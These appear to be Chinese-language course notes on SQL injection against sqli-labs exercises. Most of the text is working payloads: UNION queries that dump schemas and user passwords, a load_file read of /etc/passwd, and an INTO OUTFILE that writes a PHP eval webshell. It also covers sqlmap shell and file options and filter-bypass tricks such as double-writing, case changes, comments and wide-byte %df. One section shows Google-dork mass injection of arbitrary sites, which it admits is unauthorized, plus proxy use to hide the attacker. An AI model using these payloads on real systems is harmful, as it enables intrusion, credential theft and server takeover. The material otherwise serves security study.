第二天讲sql注入以及其中的一些绕过方法。
手动注入 1. 判断是否存在注入点 1 2 ?id= 33 and 1 = 1 #恒真 ?id= 33 and 1 = 2 #恒假
2. 猜列数
二分查找。
3. union查询爆当前数据库名 1 ?id= -33 union select 1 ,2 ,binary (group_concat(user (),database(),curtime())),4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15
这里加负号避免前面正常显示的数据占用了位置导致后面不显示。
4. 爆数据库列表 1 ?id= -33 union select 1 ,2 ,binary (group_concat(schema_name)),4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 from information_schema.schemata
group_concat
可以将查到的全部信息一行显示。
5. 爆tables列表 1 ?id= -33 union select 1 ,2 ,binary (group_concat(table_name)),4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 from information_schema.tables where table_schema= 'cms'
6. 爆columns列表 1 ?id= -33 union select 1 ,2 ,binary (group_concat(column_name)),4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 from information_schema.columns where table_name= 'cms_users'
7. 爆相关column内容 1 ?id= -33 union select 1 ,2 ,binary (group_concat(userid,' ' ,username,' ' ,password)),4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 from cms_users
8. 读取本地文件 1 ?id= -33 union select 1 ,2 ,load_file('/etc/passwd' ),4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15
9. 写入反弹shell 1 ?id= -33 union select 1 ,2 ,'<?php @eval($_POST[gt]);?>' ,4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 into outfile '/var/www/html/gt.php'
sqlmap注入 1. [GET]单个参数 1 sqlmap.py - u http:/ / 127.0 .0 .1 / sqli- labs/ sqli- labs/ Less-1 / ?id= 1
2. [GET]多个参数 1 2 3 #指定参数 sqlmap.py - u "http://127.0.0.1/sqli-labs/sqli-labs/Less-1/?id=1&cc=1" - p "id"
3. [GET]多个URL 1 2 sqlmap.py - m 文本文件 选Y,对此URL注入测试;选n,自动进行下一个;选择q,退出探测。
4. [POST]burp提取HTTP请求生成文件 1 2 sqlmap.py - r E:\360 MoveData\Users\Administrator\Desktop\post.txt(第11 关) 随意输入内容,使用burp抓包。
5. [POST]使用–data传递post数据 1 2 sqlmap.py - r E:\360 MoveData\Users\Administrator\Desktop\post.txt(第11 关) 随意输入内容,使用burp抓包。
COOKIE注入 1. 判断 当我们登陆后将信息存在了COOKIE中,后台进行判断,发现COOKIE中会显示上面 的个人信息,而不是登录框。在上面的信息中可以看到,多出了一个Your ID:8,这 个信息很有可能是从数据库中查询出来的,我们再次访问该页面,使用burp抓包分析, 此时会发现获取到了COOKIE值。
可以看到COOKIE中有uname=admin,说明后台很有可能利用COOKIE中的uname去数 据库中进行查询操作。
2. 手动检测 将COOKIE中的信息改为uname=admin’,页面报错了,并且从报错信息中可以看出, 后台使用的是单引号进行的拼凑。
3. sqlmap注入 1 2 sqlmap.py - u http:/ / 192.168 .30 .88 / sqli- labs/ sqli- labs/ Less-20 / "uname=admin"
sqlmap经典语法 1. –banner 1 2 3 查询数据库类型,版本信息。(任意一个url都可以) sqlmap.py - u http:/ / 192.168 .0 .111 / sqli- labs/ sqli- labs/ Less-1 / index.php?id= 1
2. -g “谷歌语法” 1 2 3 4 对网站url进行批量注入测试 如inurl:index.php?id= 在没有google搜索引擎的情况下,使用baidu也是不错的。 会搜索到很多网站,可以对这些网站进行尝试。不过这些都是属于未授权测试,只做演示。 sqlmap.py - g "inurl:index.php?id="
3. –sql-shell 1 2 sqlmap.py - u http:/ / 192.168 .0 .111 / sqli- labs/ sqli- labs/ Less-1 / ?id= 1 执行操作指令,之后执行sql 语句即可。
4. –os-shell 执行条件: 1. 网站必须是root权限 2. 攻击者需要知道网站的绝对路径 3. GPC为off,php主动转义的功能关闭
1 2 sqlmap.py - u http:/ / 192.168 .0 .111 / sqli- labs/ sqli- labs/ Less-1 / index.php?id= 1
5. –os-cmd 1 2 sqlmap.py - u http:/ / 192.168 .0 .111 / sqli- labs/ sqli- labs/ Less-1 / index.php?id= 1
6. –file-read 1 2 sqlmap.py - u http:/ / 192.168 .0 .111 / sqli- labs/ sqli- labs/ Less-1 / index.php?id= 1
7. –file-write –file-dest 1 2 3 sqlmap.py - u http:/ / 192.168 .0 .111 / sqli- labs/ sqli- labs/ Less-1 / ?id= 1 "c://aa.txt" 将本地桌面的hhh.txt(内容为hahaha)上传到服务器c盘,名字为aa.txt。
8. –dbms=”MySQL” 1 2 3 sqlmap.py - u http:/ / 192.168 .0 .111 / sqli- labs/ sqli- labs/ Less-1 / index.php?id= 1 指定数据库类型
默认情况下sqlmap会自动识别探测目标Web应用程序的后端数据库管理系统(DBMS),以下列出sqlmap完全支持的DBMS种类:
MySQL,Oracle,Firebird,IBM DB2,Informix,Microsoft Access,Microsoft SQL Server,PostgreSQL,SAP MaxDB,SQLite,Sybase
9. –sql-query 1 2 执行一个sql 语句,相当于 sqlmap.py - u http:/ / 192.168 .0 .111 / sqli- labs/ sqli- labs/ Less-1 / ?id= 1
10. –sql-file 1 2 3 从指定文件执行sql 语句 新建一个sql.sql文件,写入database(); sqlmap.py - u http:/ / 192.168 .0 .111 / sqli- labs/ sqli- labs/ Less-1 / ?id= 1
11. –proxy=”IP:端口” 1 2 3 4 sqlmap.py - u http:/ / 127.0 .0 .1 / sqli- labs- master/ sqli- labs- master/ Less-1 / ?id= 1 使用代理进行注入检测,所发送的包都会从代理机器发送出去,可以更好的保护自己。 免费代理池:https:/ / lab.crossincode.com/ proxy/
12. –technique 1 2 3 对Less-1 注入测试,会检测所有注入,发现存在四种注入技术。 指定注入类型,会大大缩短时间。 sqlmap.py - u http:/ / 192.168 .0 .111 / sqli- labs/ sqli- labs/ Less-1 / ?id= 1
13. –fresh-queries 1 2 3 4 清除缓存 sqlmap.py - u http:/ / 127.0 .0 .1 / sqli- labs= / sqli- labs= / Less-1 / ?id= 1 sqlmap每次查询都会将查询结果储存在.sqlmap文件夹中,下次再有相同的查询会调用 上次的查询结果,使用这个参数可以忽略文件中的记载结果,重新查询。
14. –flush-session 1 2 3 4 刷新会话 sqlmap.py - u http:/ / 127.0 .0 .1 / sqli- labs- master/ sqli- labs- master/ Less-1 / ?id= 1 会发现开始初次检测,这就是第一次测试。 之后的测试会很快,已经有了缓存。
15. –batch 1 2 3 4 对所有的交互式的都是默认的 sqlmap.py - u http:/ / 127.0 .0 .1 / sqli- labs/ sqli- labs/ Less-1 / ?id= 1 flush- session 简单来说:自动选择默认,中间不需要操作。
16. –start –stop 1 2 指定查看列的范围 输出数据位置 会查询指定位置的列信息。
17. –first –last 1 2 3 4 指定查看字符的范围 的输出字字符 通过 字一个字猜解。
常见绕过方式 1. 双写绕过
输入order by 查询出字段数为3
输入union select 进行联合查询,发现过滤了union、select
进行双写绕过(select三次):id=-1’ununionion selselselectectect 1,2,3%23
利用注入漏洞读取 key : id=-1’ununionion selselselectectect 1,load_file(“/var/www/html/key.txt”),3%23
2. 大小写绕过
输入order by 查询出字段数为3
输入union select 进行联合查询,发现过滤了union、select
进行大小写绕过:id=-1’ uNion seLect 1,2,3%23
读取key:id=-1’ uNion seLect 1,load_file(“/var/www/html/key.txt”),3%23
3. 注释绕过空格
输入and 1=1
发现过滤了空格
利用注释符进行进行绕过空格:id=1'/**/and/**/1=1%23
使用order by进行判断字段数:id=1'/**/order/**/by/**/3%23
使用联合查询:id=-1'/**/union/**/select/**/1,database(),version()%23
4. 空格其他绕过方式
%09、%0a、%0d、%0b等
括号绕过空格
使用 + 号、Tab键、两个空格、反引号等
5. 过滤等号=绕过
使用like绕过 使用通配符 like 执行的效果和 = 一致,所以可以用来绕过等号过滤。 -1' union select * from users where id like 2%23
使用 <> 绕过 <> 等价于 != 所以我们可以在 <> 前加个 ! 就变成等于了。例如: id=-1' union select * from users where !(id<>2)%23
宽字节注入 概念 编码类型:
单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。
多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根 据不同的符号而变化字节长度,一般会占3个字节。
GBK 编码:也是一种多字节编码,它一般占两个字节。
而一般常见的存在宽字节注入的编码类型为:GBK 和 BIG5
前提条件 在实际应用中,为防止注入漏洞通常会把单引号处理下,那又为啥要处理单引号呢?
比如:
1 2 $id= $_GET[‘id’]; select * from users where id = ‘$id’
上边呢我们输入进去的 SQL 语句,都会赋值给 $id 这个变量,然后会被包含在引号里,在PHP中引号里的内容是属于字符串的,所以我们直接在这里输入的一些 SQL 命令都会被当作字符串处理,这些命令就不会起到作用。
所以我们在字符型注入中才会先用单引号闭合下,再输入 SQL 命令,这样后面的命令才会执行。如果程序中在我们输入的单引号前加上个反斜杠比如:\’。这样的话这个单引号就是个字符了,没有单引号闭合的作用,所以就起到了防护的作用。
为了突破这个防护,我们可以使用宽字节注入的方式进行突破:
我们的使用方式是:%df’
,当我们在单引号前加上%df
的时候,也就是输入%df’
这样传入到数据库中就会变成:%df%5c’
。
那么宽字节注入的突破方式除了 %df 之外还有其他的方式么?
其实是有的,我们可以看下 GBK 的编码表:https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php
,这里的%DE%5C
、%E0%5C
,等都是可以的。
注入步骤
在id=1后面添加单引号发现被转义,在前面加了个\
使用%df
进行闭合:id=1%df' and 1=1%23
二次查询注入 sqli-lab 第五关 二次查询注入
双查询注入其实就是一个select语句中再嵌套一个select语句,嵌套的这个语句称作子查询select concat((select database()));
基础函数
count()
:汇总数据函数
rand()
:随机输出一个小于1的正数
floor()
:把输出的结果取整
group by
语句:把结果分组输出
concat()
:连接两条语句
注入过程 1 select concat((select database()),floor (rand()* 2 ))as a from information_schema.tables group by a;
这里解释一下,把select database()
和floor(rand()*2)
的结果输出到a里,然后最大长度根据information_schema.tables
来决定,然后用a进行分组,bees1一组,bees0一组:
1. 爆当前库名 1 http:/ / 192.168 .1 .113 :86 / Less-5 / ?id= 1 ' union SELECT null,count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a%23
2. 报表名 1 http:/ / 192.168 .1 .113 :86 / Less-5 / ?id= 1 ' union SELECT null,count(*),concat((select table_name from information_schema.tables where table_schema=' security'limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
3. 爆列名 1 http:/ / 192.168 .1 .113 :86 / Less-5 / ?id= 1 ' union SELECT null,count(*),concat((select column_name from information_schema.columns where table_name=' users'limit 12,1),floor(rand()*2))as a from information_schema.tables group by a%23
4. 查数据 1 http:/ / 192.168 .1 .113 :86 / Less-5 / ?id= 1 ' union SELECT null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23